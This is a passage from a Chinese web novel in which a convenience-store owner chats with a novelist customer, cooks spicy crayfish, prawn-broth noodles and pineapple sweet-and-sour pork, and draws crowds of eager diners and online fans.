由于周瑶瑶不在,明清欢去厨房吃完午饭后还得出来收拾桌子。不过在她拿着抹布出来时,却看到有人已经将桌面上的杂物清理进垃圾桶里。 “谢谢。”她道谢后仔细将桌子擦干净,随即又去厨房内收拾卫生。 帮忙清理桌面的是洛淮青,等明清欢擦完桌子回厨房时也没有直接走人,而是重新打开平板开始码字。 以前他只是上午来店内码字顺便等饭吃,后来不知道是不是在店里码字码习惯,他感觉这里码字比家中更顺手,就喜欢吃完饭继续码一会。 午后便利店恢复安静,基本没有顾客再上门买东西,一时间只有他敲键盘发出的声音。 不远处的鸟笼里,八哥听到键盘声圆溜溜的眼珠子转悠几圈,随即张开嘴巴发出模仿声。 它学得还挺像,不过可能正是因为太像,以至于洛淮青都没发现旁边有鸟在配音,依旧沉浸在码字中。 直到明清欢收拾好厨房,出来听见它发出那种“哒哒哒哒哒”的声音,直接走过去隔着鸟笼点了下它脑袋。 八哥看到她出来瞬间收声,去旁边水盆里喝两口水后,消停地窝在鸟笼里休息。 收拾完厨房接下来明清欢就没什么事,她正准备坐回柜台后看会小说打发时间,余光忽然注意到货架那边有几个东西快要掉出来,于是先走过去整理。 洛淮青就坐在那个货架旁边,对于这位老顾客明清欢可不陌生,甚至习惯于他经常坐在店内敲电脑。 本来她只是准备过去把货架整理一下,并不想窥探别人隐私,可有时候视力不好也是种烦恼,她没特意去看,却还是扫到对方屏幕上那个熟悉的名字。 明清欢正有点诧异时,就看到对方忽然站起来,下意识开口道:“抱歉。” 她脚步声很轻,在她开口前洛淮青压根没发现她走过来,起身只是单纯有点卡文,想去买瓶饮料喝完休息会再继续。 听到她道歉,洛淮青微微愣住:“怎么了?” “刚刚不小心看到你屏幕了。” “没事,你不嫌我在店里打扰就好。”洛淮青说完又道,“你平常看小说吗?” 作为一个偏宅的作者,他能找到的话题也就是小说。 换做明清欢刚穿越那会,这个话题两个人肯定聊不下去,但如今明清欢已经被周瑶瑶带入小说的大坑中,而且还很巧…… “看。”明清欢想到周瑶瑶一直追的那本武侠,难得多看两眼面前这位老顾客。 察觉到她的目光,洛淮青下意识将身板挺得更直些,随即就着小说这个话题跟她聊起来,甚至聊着聊着主动曝光了笔名。 明清欢刚刚扫到屏幕上主角名是心里就有猜测,不过觉得不好打听别人的隐私,所以没问,此时得知他真是写那本武侠的作者“洛阳”,她有种世界实在太小的感觉。 “我朋友在追你的文,如果知道你就是作者,估计要天天催更了。” 明清欢想到之前周瑶瑶看完更新抱怨作者太会卡文,表示恨不得将作者抓到小黑屋关起来哐哐给她码字的话,脸上不自觉带出点笑意。 “催也没用,码不出来就是码不出来……”洛淮青其实想问她看不看自己的文,但感觉问出来好像有些自恋,到底还是没说出来。 二人简单聊几句后,在明清欢转身去整理货架时,洛淮青随手拿了瓶饮料。 在他要付钱时明清欢笑着表示不用:“你喝吧,喝完争取多码点新章节。” “我尽量。” 洛淮青握着饮料犹豫着要不要去自己扫码把钱付了,不过最终还是选择接受她的好意。 两口饮料下肚,他扭好瓶盖将瓶子放到桌上,忽然重新来了灵感,双手放到键盘上哒哒哒打个不停。 而明清欢在整理完货架后就重新回到柜台那边坐下,拿出手机开始看小说。 其实她也在看洛阳写的小说,不过没有追他最新那本武侠,而是看他以前写的仙侠文和历史文。 端午节的天气有些炎热,便利店里没装空调,只有顶上装着个吊扇,在风扇转动的声音中,店内二人一个看小说,一个写小说,再配上已经在鸟笼里睡着的八哥,画面看起来还挺和谐。 当天晚上,周瑶瑶打视频过来:“老板端午安康,我带回来的粽子家里人都夸好吃,我爷爷还像个小孩一样跟我爸抢起来……有个家里养殖小龙虾的叔叔送了我们家好多虾,我爸今天做了麻辣小龙虾,我感觉那些虾都白死了……” 听到她说着说着开始小声吐槽起来,明清欢觉得虾随便做都很好吃,怎么会得到她这种评价,不过 等看到周瑶瑶发过来的图片时,她一眼就发现虾肉煮得那都不是老,而是柴了,终于有点赞同她的评价,觉得确实白死了。 周瑶瑶没在家里待太久,过完端午节又住两天,就收拾行李飞奔回来,还带来一箱小龙虾。 “火车上能带小龙虾?” 明清欢看到泡沫箱里那些张牙舞爪的小龙虾,感觉这虾还挺鲜活。 “不知道,我没坐火车,是蹭老乡的顺风车过来的。”周瑶瑶说完就期待地望着她,“老板,我们晚上吃小龙虾吧,我爸做的太难吃了,我想吃你做的。” “行啊。” 大齐是没有小龙虾的,但做菜本来就是万变不离其宗,明清欢不觉得小龙虾有多难做。 周瑶瑶爱吃,但很怂,刷个小龙虾就被虾钳夹了好几下,明清欢听到她哎呦哎呦的叫声,赶紧开口让她不用帮忙。 “老板你太厉害了,感觉你好像什么都会。”周瑶瑶放下刷子也没离开,而是蹲在旁边看她干活顺便陪她聊天。 明清欢确实厉害,张牙舞爪的小龙虾在她手里压根夹不到她手,三两下就被他刷得干干净净。 “对了,老板我跟你说,我追的那本文作者最近奋起了,这两天每天都有好几章更新……” 明清欢语气含笑:“那挺好的,你可以看个够了。” “是啊是啊。” 二人说说聊聊间,明清欢很有效率地将小龙虾收拾完,开始准备做麻辣小龙虾。 处理干净的小龙虾先过油炸一遍锁住肉质的鲜嫩,香味已经开始飘出来。 第36章 第36章虾汤拌面 小龙虾刚炸完,站在旁边的周瑶瑶闻到香味就有点想吃,惹得明清欢哭笑不得地赶紧提醒:“炸一下只是为了给虾定型,并让油锁住虾肉的鲜嫩,没有炸到熟透……” 处理得干干净净的小龙虾经过油炸,颜色变成漂亮的红色,确实看起来就令人很有食欲。 小龙虾炸完,明清欢先用热油将葱姜蒜爆香,再加入红辣椒、花椒、香叶以及自己做的豆瓣酱等调料进行翻炒,一股酱香中带着麻辣味的气息从锅里飘出来,简直别提有多香。 明清欢握着锅铲随意地翻炒着,直到香味越来越浓,红油被完全炒出来,开始倒入小龙虾。 小龙虾进锅里翻炒没多久,那股麻辣鲜香的气息中混入虾特有的鲜味,简直能香死个人。而这还没完,接下来她又往锅中加入啤酒、生抽、盐和一点点用来提味的糖,随着中火炖煮收汁,香味顿时更上一层楼。 周瑶瑶闻着麻辣小龙虾特有的香味,已经不自觉吞了好几次口水:“老板,还要煮多久?” “再煮一会收个汁,很快就能吃了。” 在周瑶瑶说晚上想吃小龙虾时,明清欢就想好主食煮点面条,放到小龙虾里做虾汤拌面。 趁着小龙虾收汁的功夫,她转身去旁边开始揉面、拉面。两个人吃也不用多少面,等她把面拉好,小龙虾正好可以出锅。 由于周瑶瑶爱吃香菜,出锅前明清欢除了往小龙虾里加了几滴香油提香,还切了黄瓜和香菜放进去。 “好了吗?好了吗?可以吃了吗?” 听到周瑶瑶迫不及待的声音,明清欢快速将锅中小龙虾倒入盆中:“可以了,你先端出去吃吧,我把面煮一下。” “那我还是等你一起吧。”都没帮上什么忙,周瑶瑶哪好意思先吃。 好在煮面不要多久,很快明清欢就将面煮好,过一遍凉水后盛在盆里,招呼她出去吃饭。 小龙虾和面条摆上桌,周瑶瑶连手套都顾不上戴,直接伸手就拿起个小龙虾往嘴里塞。 小龙虾表面沾满汤汁,她先对着虾身上嘬一口,瞬间满嘴都是咸鲜麻辣的滋味。 光是汤汁味就惊艳到她,开始迫不及待剥起虾壳,等将虾肉送入口中,那鲜嫩又弹性,同时被料汁入味,吃起来麻辣鲜香的味道,好吃到她不自觉闭上眼睛。 这才是正宗麻辣小龙虾! 周瑶瑶吃着色香味俱全的小龙虾,觉得专业的就是专业的,她爸之前在家里做的那个,调味是现成的火锅料,完全没有惊艳感就算了,偏偏虾还煮得特别老,而且去腥还去得不到位,一家人凑合着吃才勉强解决完。 她很想夸一夸自家老板,但小龙虾美味到她根本没工夫说话,手和嘴巴很诚实地互相配合吃个不停。 “吃,要吃~” 小八闻见香味,直接用爪子扒拉开笼门飞到桌上,扯着嗓子发出讨食的声音。 周瑶瑶压根没多余注意力理会它,已经完全沉浸在麻辣小龙虾的美味中。明清欢怕它嘴馋起来直接去盆里抢,到时候搞一身油,剥了个小龙虾用水冲一遍后递给它。 “爱你呦~” 八哥显然是把周瑶瑶平常撒娇的话给学会,拿到小龙虾后连腔调都模仿得很是到位,惹得明清欢唇角不自觉上扬。 将它打发回笼子里吃东西后,明清欢戴上一次性手套才慢条斯理地开动。 她才刚吃第一个小龙虾时,旁边周瑶瑶手边已经堆着不少虾壳,吃得那叫一个香。 麻辣小龙虾的香味很是浓郁,她们在店内开吃时,香味早就顺着大门飘到街上。 “好香啊,我想吃小龙虾了。” 有些路人只是念叨两句,有些却是直接顺着香味找过来,发现果然又是侠客便利店飘出来的香味后,本身就是它家老顾客的人忍不住道:“老板,我也想吃小龙虾,明天中午有小龙虾卖吗?” 被香味吸引过来的顾客是真不少,前面明清欢还能请老顾客们尝一个两个,后面周瑶瑶都开始护食了,加上根本分不过来,只能答应等过两天中午上小龙虾卖。 “老板你做的麻辣小龙虾太诱人了,早知道应该躲在厨房里吃!” 周瑶瑶咬着虾钳里的肉,还有点舍不得刚刚被顾客蹭走的小龙虾。 “还有那么多呢,不够吃的话我下次再做。”明清欢语气含笑,说完边吃边夸,“这虾挺好的,肉质饱满,个头也大。” 虾个头大,虾钳自然也大,里面咬开肉还不少,以至于周瑶瑶啃虾钳啃得特别起劲。 “我叔叔家养的虾确实不错,老板你既然准备在店里卖小龙虾,用不用我找他进一批货?我爸跟他关系好的跟亲兄弟一样,可以用优惠价跟他买。” “可以啊,不过优惠就不用了,只要保证是我们今天吃的这种品质就行。” 左右都要买虾,这小龙虾品质好,明清欢当然愿意买,不过优惠价就算了,亲兄弟还明算账,没必要让她家搭上人情。 “品质肯定没得说,我叔肯定舍不得坑我。”周瑶瑶啃完手里的虾钳,顺手拿起块黄瓜吃起来,脆嫩的黄瓜吸收虾汤的鲜美,味道特别好吃。 “我喜欢你这种直接放生黄瓜的口感,吃起来爽口又解腻,上次我爸做的时候,他把黄瓜放小龙虾里一起煮,软趴趴的黄瓜吃起来特别咸。” 凡事都怕对比,吃着面前哪哪都满意的麻辣小龙虾,周瑶瑶忍不住再次吐槽起来。 “要不要吃点面?” 明清欢见小龙虾已经吃得差不多,将面条倒入汤中搅拌开来。 手工拉面煮好后过了遍凉水,此时轻轻一拌就全部散开,原本浅黄色面条裹上虾汤的红油色,配上汤里嫩绿的香菜和蒜,看起来卖相很是诱人。 小龙虾去掉壳后根本没多少肉,想靠吃虾吃饱,那怕是得吃好多才行,因此周瑶瑶望着拌好的面还挺有食欲。 “要吃。” 她刚开始只要了半碗,但吃着吃着发现虾汤拌面简直不要太香,就立刻又盛了一碗。 面食带来的饱腹感让周瑶瑶脸上露出满足的表情:“太好吃了,小龙虾好吃,黄瓜好吃,没想到虾汤拌面也这么好吃!我简直太幸福了!” 次日。 看到周瑶瑶出现在店中,不少老顾客笑着和她打招呼,还说她回来老板就能专心做饭了。 当然,更多顾客不关心周瑶瑶回不回来,而是关心另外一个问题:“今天有小龙虾吗?听说老板昨天做小龙虾了。” “确实到吃小龙虾的季节了,老板做的小龙虾肯定好吃。” 老顾客们对明清欢的厨艺简直不要太信任,还没吃就觉得只要是她做的肯定好吃。 “小龙虾还没到货,快的 话明天,慢的话可能要后天才能上。“周瑶瑶昨天晚上就给自家叔叔打了电话,对方得知她需要小龙虾,主动给了优惠价。 其实电话里对方说了明天就能安排人送龙虾过来,不过以防万一,她没把话说死,省得明天卖不了小龙虾让顾客们失望。 听到明天有小龙虾吃,顾客们立刻就期待起来,甚至有人已经想着明天要约朋友一起过来吃饭。 侠客便利店如今已经有好几个顾客群,最开始那个群里基本都是本地老顾客,后面两个群则是人员混杂,有本地顾客,还有好多外地顾客。 【听说老板明天会做小龙虾,太期待了!】 【小龙虾现在就上市了?那我明天一定要去尝尝,别说,好久没吃小龙虾,现在光是想想就有点流口水。】 这个群里不光有本地顾客,在看到他们说着明天要去侠客便利店吃小龙虾,外地顾客发出羡慕的声音。 【我也想吃老板做的小龙虾,可恶,时间为什么不能过得快一点,直接跳到国庆去,这样我就又有假期可以去吃美食了。】 【国庆节还早得很,不过没关系,我有暑假!嘿嘿,等下个月放暑假,我一定要去q市好好吃个够。】 【明天买到小龙虾的能不能在群里分享一下?吃不到给我看看也好啊。】 看到说得那么可怜的话,本地顾客很有优越感,不少人纷纷发消息表示买到后就立刻拍照发群里。 信誓旦旦说要分享小龙虾照片的本地顾客好像忘记一件事,那就是侠客便利店的美食有多抢手。 第二天午后,群里没有照片,而是—— 【啊啊啊啊!气死我了,明明我十点半就过去了,竟然没买到小龙虾(吐血)】 【真是服了那群老六,搞不懂他们到底是几点去的,怎么抢得那么快!店里那股麻辣小龙虾的香味简直能馋死个人,闻得着吃不着,太折磨人了!】 【小龙虾,鲜香麻辣的小龙虾,看着就好吃的小龙虾,让我口水直流却吃不到的小龙虾……】 看到昨天还在暗搓搓炫耀的本地人没买到小龙虾在群里发疯,外地顾客发出“哈哈哈”的笑声。 【不会吧不会吧?群里那么多本地人,该不会没有一个人买到小龙虾吧?那也太(没)可(用)怜了!】 【我抢到了虾汤拌面,面条特别好吃,那筋道的口感,一看就是老板手工做的,配上鲜香麻辣的虾汤,吃起来那叫一个香,而且里面还有个虾钳!钳子里肉还不少,好吃到我连虾壳都咬碎了[图片][图片]】 虾汤拌面的卖相确实诱人,根根分明的面条上浇满红油汤汁,其中还点缀着翠绿的香菜以及几根黄瓜,看起来特别有食欲。 虾钳确实也挺大,红彤彤的虾钳上挂着汤汁,被咬开的一角露出里面饱满的虾肉,瞧着确实很不错。可想到结合文字来看,又感觉那位顾客没买到小龙虾,最后在面条里发现个虾钳而惊喜的模样,有点可怜。 当然,其他顾客这种想法只产生一瞬,很快就觉得,人家好歹吃到虾汤拌面,更可怜的明明是他们这种只能看吃不着的。 【不就是小龙虾,我现在就点外卖,直接点个五斤吃个够去。】 【虽然我没买到小龙虾,但在店里看到其他人买的,味道先不说,光是食材的新鲜程度就是好多店比不上的[图片]】 群里终于有人放出小龙虾图片,红彤彤的小龙虾挂满汤汁,看着就很好吃的样子。而且每只虾个头都特别大,如果把图片放大,还能看出小龙虾被处理得很是干净。 图片一出,不管是本地顾客还是外地顾客都有被馋到,外地人没办法,本地人则是发誓明天一定要吃到。 于是新的一天,上午九点左右时侠客便利店内就已经坐满人,其中明显有好几个穿着外卖服,一看就是被人请来跑腿代购。 厨房内。 “老板,要不我们还是隔一天买一次吧,不然每天处理小龙虾就麻烦死了。” 小龙虾好吃,但周瑶瑶怕被夹根本不敢碰,看到她一个人处理那么多小龙虾,有点替她累得慌。 “好。” 对明清欢来说处理小龙虾倒是不麻烦,但确实有点费时间,听到她这么说觉得确实可以隔天卖。 夏天正是吃小龙虾的季节,当麻辣小龙虾的香味开始从厨房飘出去时,顾客们光闻香味嘴里已经不自觉分泌出津液。 有那积极的顾客想到吃小龙虾怎么能没酒,甚至迫不及待提前把酒给买好。 十一点多时,侠客便利店再次排出两条长龙,排队的人多到数都数不清。 平常这个点饭菜已经会被端出来,不过由于处理小龙虾有点费时间,今天直到十一点半明清欢和周瑶瑶才依次把饭菜往外端。 今天的菜除了满满三大盆小龙虾外,还有凉拌毛豆、红烧猪蹄、黄豆烧鸡爪、鱼香肉丝,冬瓜排骨汤。 除此之外,今天主食不光有米饭,还有面条。由于面条主要是配小龙虾吃,所以明清欢煮的是白水面,不过手工拉出来的面条看着就很筋道,那怕里面什么调味都没有,依旧让不少面食爱好者看着就想吃。 “老板我要一份小龙虾,还要一份面,再来个凉拌毛豆、红烧猪蹄、冬瓜排骨汤。” “老板我不要其他菜,可以点三份小龙虾吗?” 红彤彤的小龙虾散发出麻辣鲜香的气息,简直浑身都写满“快来吃我”几个大字,终于抢到前排的顾客恨不得整盆端走。 明清欢还没有开口,排在后面的顾客先不乐意了:“你买那么多我们吃什么?” “就是,吃那么多小龙虾不怕上火吗?” “老板家一份小龙虾又不多,我多买几份怎么了?而且就算上火我也乐意。” 明清欢家小龙虾分量确实不多,但它价格也不贵,很适合单人尝鲜吃。 不过对于喜欢吃小龙虾的人来说,只感觉一份根本不够吃,恨不得直接啃一盆。 明清欢望着长长的队伍,知道好多顾客都是特意为小龙虾过来,而且她昨天还在群里看到有人说请假也要来买,非要吃到夏天的第一顿小龙虾。 为了让更多顾客们吃上小龙虾,最终明清欢还是表示每人只能买一份。 “好吧,那我再要一个凉拌毛豆,还要鱼香肉丝和冬瓜排骨汤。” 看得出来,随着天气越来越热,顾客们饮食有点偏向那些开胃的菜,比如凉拌毛豆,最近在店内特别抢手。 “妈妈,窝要吃虾虾!” 有小朋友看到其他顾客端着小龙虾去找位置坐,立刻被红彤彤香喷喷的小龙虾给吸引,发出想吃的声音。 “小龙虾是辣的,你吃不了,妈妈给你买鱼香肉丝吃好不好?” “不好,窝不怕辣,要吃虾虾!” 当家长的总是拿孩子没办法,等买完饭菜只能先剥了个小龙虾递过去,希望他被辣到后自己就不吃了。 被剥出来的虾尾肉质紧实有弹性,上面沾着点红油光泽,小朋友接过就往嘴里塞,那鲜嫩弹牙的口感,还有越嚼越香的滋味,好吃到他不自觉加快咀嚼速度。 孩子妈妈把虾尾剥给儿子,剩下的也没舍得直接丢,先把虾壳上的味道嘬干净,再把两个虾钳掰下来开始啃肉,一边吃她一边关注着儿子,发现他前面还嚼得很香,慢慢地脸就开始变红。 麻辣小龙虾就是要又麻又辣才够味,哪怕刚刚那个虾尾没有额外蘸汤汁,但入到虾壳里的味道,已经能辣到小朋友。 “是不是很辣?” 小孩子是种神奇的生物,遇到不想吃的东西时,没什么辣味都要喊辣不肯吃,遇到爱吃的东西时,就算很辣也要嘴硬地说不辣。 “不辣,窝还要吃。” 见他死鸭子嘴硬,孩子妈妈没办法,快速剥几个虾尾放到他面前,同时提前用冬瓜排骨汤加面条搞了一小碗出来,准备待会给他解辣。 小孩子嘴巴嫩,根本扛不住太辣的动作,果然在吃完三个虾尾后就忍不住嘶哈嘶哈个不停,一副快被辣哭的模样。 冬瓜排骨面确实清淡适合小孩子吃,但它太烫了,根本没办法解辣。好在这里是便利店,根本不缺喝的,孩子妈妈赶紧给他买 瓶牛奶,才让他没真哭出来。 小家伙喝完牛奶后依旧眼馋小龙虾,不过却是不敢继续吃,而是捧着小碗吃面。 好在明清欢炖的冬瓜排骨汤清鲜可口,配上她手工做的拉面,很快就吸引小家伙的味蕾,让他低头吃个不停。 成功将孩子注意力转移到面条上,孩子妈妈想到剩下的小龙虾都是自己的,笑得那叫一个开心。 伸手捏起个小龙虾,先嘬一口鲜香麻辣的汤汁,再将虾壳剥开,捏着饱满的虾尾往红油汤中蘸一下,吃进嘴里汤汁麻辣咸鲜配上小龙虾弹嫩的口感,简直就是夏日里最美好的享受。 吃小龙虾一定要配上喝的,不管是冰镇啤酒还是冰可乐,吃完几个小龙虾再来上一口,那叫一个满足。 便利店内所有桌子已经都坐满人,每张桌子上都放着几份小龙虾,此时大部分人都已经把虾吃完,还不死心地在汤里捞着,确定连虾钳都被啃完后连蒜都不放过,捏起来往嘴里送。 “太好吃了,根本吃不够……” 咀嚼口中带着虾鲜味的蒜,有顾客忍不住发出感叹。 “这么好吃的小龙虾,我能吃十斤!” 别说十斤,现在他们连一个小龙虾都没有,只能回味着嘴里的余味,将面条倒入剩下的虾汤中,靠虾汤拌面来解馋。 煮过小龙虾的红油汤特别鲜,面条在里面搅拌均匀,吃进嘴里又爽又滑,咀嚼间满满都是小龙虾的香味和面的筋道。 “面也好好吃啊!比我以前吃过的虾汤拌面好吃一百倍!” 有人越吃越开胃,吃到一半直接端着碗过去想再加点面。 “面没有了。” 由于大部分买小龙虾的顾客都会选择来上份白水面,这会面条随着小龙虾一起全部卖光。 顾客闻言只能退而求其次:“那给我加点米饭。” “你确定吗?”明清欢语气透着询问。 麻辣小龙虾算是比较重口味的吃食,它的汤用来拌面还好,毕竟面虽然也会吸汤,但那需要时间,只要拌完立刻吃就好。但米饭可不同,米饭吸汤吸味速度比面条快,要是把饭拌进去,吃起来可能会偏油偏咸。 明清欢提醒过后见顾客还是坚持,便给他打了点米饭。 “怎么样?拌饭好吃吗?”旁边有顾客好奇道。 “挺好吃的。” 看得出来这位用虾汤拌饭的顾客口味挺重,他回答完就大口扒着饭,吃得那叫一个香。 顾客们吃完今天的小龙虾,正打算明天继续来买时,就得知明清欢准备隔一天卖一次,当即就抗议起来。 “别啊老板,这一份都不够我吃的,要是还要隔天才能吃到,我是真的会哭的。” “不行,老板你别这样,我好不容易吃到这么好吃的小龙虾,你跟我说明天没有?你不能这么残忍!” “小龙虾处理起来太费时间了,而且天天吃小龙虾对身体也不好。”明清欢试图向顾客说明自己的理由。 第37章 第37章菠萝咕咾肉 “身体好不好那是我的事,老板你别管,你就负责把小龙虾做好就行。” “对,老板你别管那么多,做就完了,或者你要是嫌中午做不过来,那可以晚上卖小龙虾。” “对对对,晚上卖更好,正好下班了约朋友一起过来吃。” “实在不行老板你中午可以不做其他菜,专门卖小龙虾,反正你家面条也好吃,吃完虾再用汤拌个面,完全可以直接当饭吃。” “滚滚滚,你不吃饭菜我还要吃,别乱出主意,老板我觉得你还是晚上卖小龙虾,我可以的。” 顾客们坚决不同意明清欢隔天卖一次小龙虾,你一言我一语,打有一副她不同意就不走的架势。 明清欢感觉拿他们没办法,只能开口道:“我考虑一下。” “还考虑什么,夏天正是吃小龙虾的时候,老板你别考虑了,多赚点钱不香吗?” “就是,就是。” 在顾客们的强烈要求下,明清欢最终决定中午正常做快餐,然后每天晚上准备三盆小龙虾,先到先得,卖完即止。 对于上班党来说,中午真没几个人有空来侠客便利店吃饭,只有偶尔实在馋得不行,才出钱请跑腿帮忙代购。现在得知便利店晚上卖小龙虾,他们简直不要太高兴。 于是接下来的晚上,每到侠客便利店卖小龙虾的时间,店里店外都很是热闹。 夏天的晚上大家更喜欢坐在外面吃东西,于是纷纷动手自己把桌椅搬出来,买完小龙虾配上饮料和朋友一起吃。 至于聊天,由于小龙虾太好吃,坐在一起的约饭的人根本没空说话,基本上都是低头努力剥虾往嘴里塞,嘬虾壳,啃虾钳,反正手和嘴都忙得不得了。 “感觉卖小龙虾挺好的,店里的酒水饮料都被带动销量,明天得让人送点货来。”周瑶瑶望着外面吃得正热闹的顾客们,对着明清欢道。 明清欢记下这件事,在听到外面有顾客喊着还要几瓶啤酒时,顺手帮忙送过去。 “你不是你不爱吃小龙虾吗?” “我说过吗?怎么可能,我要是真说过你怎么会请我来吃小龙虾。”捏着个小龙虾正剥壳的白衣服顾客摆出一脸无辜的表情。 就是因为你说你不爱吃小龙虾,所以我才拉你过来啊,这样我就能多吃点…… 这话同桌的人只能在心里想想,最终还是没说出来。 看到朋友好像有点不高兴,白衣服顾客道:“我之前是真不爱吃,觉得这玩意没啥肉,吃起来还麻烦,但谁让今天这个小龙虾实在太香,谁能忍得住不吃。” 朋友闻言,立刻转头看向明清欢:“老板,你真不能多做点小龙虾吗?一份根本不够吃啊,或者你加点钱,顺便加点量呢!” 明清欢本来还在旁边凑热闹听顾客拌嘴,发现话题竟然转移到自己身上来,顿时觉得人果然还是不能太八卦。 “不够吃的话可以去加点面。”明清欢不想再继续增加工作量,于是提议。 “也行吧,哎,吃过你家小龙虾后我都不想吃别家了,结果还不能吃过瘾,太难了。” 顾客们说是这么说,但一到晚上还是全都往她家跑,以至于带动祥云街的人流量,让老街恢复几分热闹。 时间不知不觉进入七月,学校基本都开始放暑假,开始有越来越多学生跑来侠客便利店吃饭。 其实之前明清欢家便利店就不缺学生,不过暑假前主要是本地学生,随着暑假到来,好多外地大学生纷纷组团过来品尝美食,顺便在q市游玩。 “地图上显示就在这条街上,我看看……” “别看了,我已经闻见香味了,就在前面。” 两个大学生根据手机导航走在祥云街上,长发女生还在研究地图时,短发女生已经闻见阵阵扑鼻而来的香味,想到网上大家对侠客便利店美食的评论,直接顺着香味在前面带路。 五分钟后,长发女生望着前面店铺上“侠客便利店”几个大字,佩服道:“你属狗的吧?” “你才属狗的。”短发女生说完闻着店门口更加浓郁的香味,不自觉深吸一口气,“我闻见菠萝香了,肯定是在做菠萝咕咾肉!” 她鼻子确实好使,厨房内,明清欢确实正在做菠萝咕咾肉。 炎热的夏天,很适合吃点酸酸甜甜的菜来开胃,正好现在是吃菠萝的时候,清爽酸甜的菠萝配上里脊肉,简直不要太好吃。 此时里脊肉早就用油炸过放在旁边备用,锅里明清欢正在调完料汁将黄灿灿的菠萝放入里面翻炒,菠萝在糖醋酱汁里翻炒三十秒后直接关火,趁着锅内余味正热时,她伸手将旁边炸成金黄色的里脊肉倒入,瞬间一股酸甜中带着肉鲜的香味源源不断从锅里飘出来。 由于她还放了点彩椒提色,此时锅中黄灿灿的菠萝,金黄的里脊肉,红红黄黄绿绿的彩椒,卖相看起来格外鲜亮诱 人。 香味飘到店内顾客们只能闻着香气不停咽口水,周瑶瑶却是可以直接跑进厨房,借着帮忙端菜的理由偷吃两口。 “嘶,好烫……” “里脊肉被油炸过,温度还没散出来。”明清欢看到她把肉整块塞进嘴里就嚼,语气透着点无奈。 被烫到的周瑶瑶却是已经开始享受起那股带着浓郁果香的美味,缓过那阵烫意边吃边夸:“好好吃啊!外酥里嫩,酸酸甜甜,感觉吃得我都开胃了!” 她夸完没忍住又尝一口菠萝,随即才端着盆出去。 刚出锅的菠萝咕咾肉上面流淌着红亮的酱汁,让金黄色的肉块带着点琥珀感,颜色鲜艳的菠萝变得晶莹剔透,整道菜的色彩特别明艳。 “你又偷吃!” 又顾客隔着周瑶瑶脸上透明口罩看到她嘴在动,忍不住发出羡慕的声音。 “尝菜的事怎么能叫偷吃呢?我这是先替你们尝尝味。”周瑶瑶笑嘻嘻道。 不知不觉她已经在侠客便利店工作小半年,现在回想起来,她还觉得自己当初当机立断辞职过来上班,简直不要太机智。 在看到菠萝咕咾肉的卖相,以及那股肉香混着菠萝果香的酸甜气息时,顾客们食欲都瞬间上来,没空再跟她说话,而是恨不得现在就吃上饭。 很快,明清欢和周瑶瑶一起将全部饭菜端出来,今天除了菠萝咕咾肉外还有胡萝卜炒肉、凉拌毛豆等菜色,每样都看起来很有卖相。 “菠萝炒肉?真的好吃吗?” 菠萝咕咾肉的卖相毋庸置疑,香气同样很诱人,但有顾客以前别说吃,听都没听过这道菜,哪怕知道明清欢手艺好,还是忍不住发出小声疑问。 “肯定好吃啊!” “你之前吃过?” “没吃过,但老板连炒青菜都能炒得那么香,菠萝咕咾肉这种肉菜更不用说。” 个别成年人或许还会对水果和肉一起做的味道产生犹豫,但对小朋友来说,这道菜简直不要太有吸引力。 “妈妈我要吃菠萝!” “好好好,待会就吃。” 小朋友对菠萝咕咾肉感兴趣,大朋友同样如此,排队的大学生伸长脖子看向前面,同样决定待会要尝尝菠萝咕咾肉。 “你确定吗?之前咱们学校食堂做的草莓炒肉可难吃了。” “草莓炒肉是黑暗料理,菠萝咕咾肉是道名菜,两种根本不能相提并论。” “行吧,那咱们买一份尝尝。” 很快两个大学生就买到菜,顿时觉得侠客便利店能在网上那么火,果然有火的道理。 其他先不说,光是饭菜的卖相就格外诱人,而且食材肉眼可见的新鲜。 “先别吃,让我拍个视频发出去炫耀一样。” “你快点。”短发女生催促完,握着筷子等待,在她拍完那一瞬间就立刻炒菠萝咕咾肉下手。 油炸过的里脊肉被锁住水分,外面吃起来酥酥脆脆,内里却是鲜嫩多汁,咀嚼间酱汁酸酸甜甜的味道和肉鲜味混合,肉香浓郁中带着菠萝的果香,吃起来特别美味。 “好好吃啊!外酥里嫩,菠萝的果香中和肉的油腻,吃起来太开胃了!” 她说完端起米饭吃了一大口,随即又尝了尝菠萝。 菠萝下锅前被明清欢用盐水浸泡过,涩味完全被清除,吃进嘴里酸酸甜甜,清脆爽口。 怎么会有这么好吃的菜! 短发女生一口肉一口菠萝,好吃到有点想捧脸,越吃越觉得菠萝咕咾肉的味道简直太适合夏天。 同桌的长发女生没她那么多感叹,大口大口吃着菠萝咕咾肉,脸上只简单写满“好吃”两个字。 暑假期间,随着大学生们的到来,侠客便利店再次在网上火起来,只要玩短视频的人,经常会刷到它家相关美食视频。 【啊啊啊啊!我也想吃菠萝咕咾肉,我也想放暑假,这个破班真是一天都不想上了!】 【侠客便利店你太过分了,你只是一家便利店而已,为什么总是要来馋我,呜呜呜,我是不会原谅你的,除非你到我家楼下来开分店。】 【太馋人了,明明也不是多罕见的菜色,但卖相实在太诱人了,我怀疑厨师是不是有强迫症,每道菜的大小粗细都基本差不多,配色更是特别漂亮……】 【@侠客便利店别再诱惑我了,有钱有闲时我自己会去的。】 【我好想吃它家小龙虾啊,它家虾个头大不说,看起来贼新鲜,卖相更是无可挑剔,羡慕q市的人能吃到品质那么好的小龙虾。】 除了美食视频,还有人分享晚上侠客便利店的热闹场景,看到七八桌人坐在店门口吃小龙虾喝啤酒,有网友发出羡慕的声音,还有网友却是操心起来。 【大晚上的,那么多男的凑在一起喝酒,别喝醉了闹事哦。】 【闹事?在侠客便利店?】 【哈哈哈哈,你是不是没刷到过侠客便利店之前的相关视频?你以为“侠客”只是店名吗?】 【侠客不是店名吗?别卖关子啊,最烦说话说一半的人了!】 【你自己去搜一下相关视频就知道了,人家侠客便利店老板可是有过“一打三”、“空手夺白刃”、“没有安全绳爬五楼”等壮举,去她店门口闹事的人,怕不是嫌命太长。】 网上有那种专门剪正能量事件并配上感动音乐的视频,好多视频中都有明清欢的身影,可见她干的几件事传播范围有多广。 【去搜完回来了,只想说一句666。】 【这样看来去她家吃饭太有安全感了@圆圈圈姐妹,要不我们过两天放假时去q市玩,晚上去侠客便利店吃小龙虾。】 本来侠客便利店生意就已经很好,随着越来越多外地人刷到视频后心动,明清欢家每天晚上三盆小龙虾根本不够卖。 她是每天七点半开始卖小龙虾,基本上十分钟不到小龙虾就被全部抢完,没抢到的顾客全都得嚷嚷一遍让她下次多做点才舍得离开。 “太好吃了,虾肉够弹够嫩不说,调味更是一绝,这又麻又辣的味道,简直怎么吃都不会腻。” 